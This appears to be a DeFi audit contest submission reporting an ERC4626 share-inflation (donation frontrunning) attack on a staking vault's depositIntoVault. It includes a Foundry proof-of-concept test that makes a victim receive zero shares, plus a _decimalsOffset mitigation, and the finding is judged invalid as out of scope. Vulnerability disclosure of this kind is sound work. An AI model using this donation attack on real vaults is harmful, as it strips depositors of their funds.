Beginner FriendlyFoundryDeFi
100 EXP
View results
Submission Details
Severity: medium
Invalid

User can be frontrunning when user call depositIntoVault, which leads the user get zero share.

Summary

Before one user call depositIntoVault, if the malicious attacker donate weth into the wethSteakVault whose amount is bigger than the victim's deposited amount, the victim's will return zero share and can't withdraw his asset(weth).

Vulnerability Details

  1. One user stakes 0.5 ether in the steaking contract, when the staking period ended and the new wethSteakVault was setted. The user then call depositIntoVault.

  2. Before the user call depositIntoVault. An malicious attacker donate 0.5 ether into the wethSteakVault. which leads to the current total aseet in wethSteakVault is 0.5 ether.

  3. According to the share calculation formula, the user will return zero share.

POC

As below poc shows, the user(user1) only get zero share

steakingBalance For eth 0

wethBalanceInVault 1000000000000000000

wethSteakVaultSharesUser1 0

function test_poc_DepositIntoVaultFrontRunning() public {
// user1 stake 0.5 ether,
uint256 dealAmount = steaking.getMinimumStakingAmount();
_startVaultDepositPhase(user1, dealAmount, user1);
// Before user1 call depositIntoVault, which transfer user1's weth into wethSteakVault. the maliciousUser donate 0.5 ether to wethSteakVault
address maliciousUser = makeAddr("maliciousUser");
uint256 donateAmount = 0.5 ether;
vm.deal(maliciousUser, donateAmount);
vm.startPrank(maliciousUser);
weth.deposit{value: donateAmount}();
weth.transfer(address(wethSteakVault), donateAmount);
vm.stopPrank();
// when the staking period ended and the new wethSteakVault was setted. user1 call depositIntoVault.
vm.startPrank(user1);
steaking.depositIntoVault();
vm.stopPrank();
uint256 steakingBalance = address(steaking).balance;
uint256 wethBalanceInVault = weth.balanceOf(address(wethSteakVault));
uint256 wethSteakVaultSharesUser1 = wethSteakVault.balanceOf(user1);
console.log("steakingBalance For eth", steakingBalance);
console.log("wethBalanceInVault ", wethBalanceInVault);
console.log("wethSteakVaultSharesUser1 ", wethSteakVaultSharesUser1);
}

Impact

  1. Based on the above situation or just the malicious attack make the current totalAssets(total weth) in the wethSteakVault not less than the user's weth in the steaking contract, the user only get zero share when call depositIntoVault.

  2. The following users who call depositIntoVault, if their weth amount in steaking contract less than the totalAssets(total weth) in the wethSteakVault(the weth amount have been changed by the malicious attacker), they all get zero share. Formally, if most users only staked 0.5 ether, they all lost their asset.

Tools Used

Manual

Recommendations

When create wethSteakVault inherting ERC4626 override _decimalsOffset(), make it return 3.

That Increase the malicious attacker's cost. Increase the attacker's cost 1000 times, from 0.5 ether to 500 ether.

More details can check the share calculation formula:

assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding);

  • asset as the amount weth the user will tranfer to the wethSteakVault

  • totalSupply()as the current total shares

  • totalAssets()as the current total asset the wethSteakVault hold

  • _decimalsOffset()default value is zero. when increase x, the attacker's cost will increase x times.

// bleow code under ERC4626.sol
/**
* @dev Internal conversion function (from assets to shares) with support for rounding direction.
*/
function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256) {
return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding);
}
contract MockWETHSteakVault is ERC4626 {
constructor(
IERC20 _asset
) ERC20("WETHSteakVault", "WETHSTK") ERC4626(_asset) {}
function _decimalsOffset() internal view override returns (uint8) {
// increase the attacker's cost 1000 times
// return 0;
return 3;
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Appeal created

bytesflow007 Submitter
10 months ago
inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.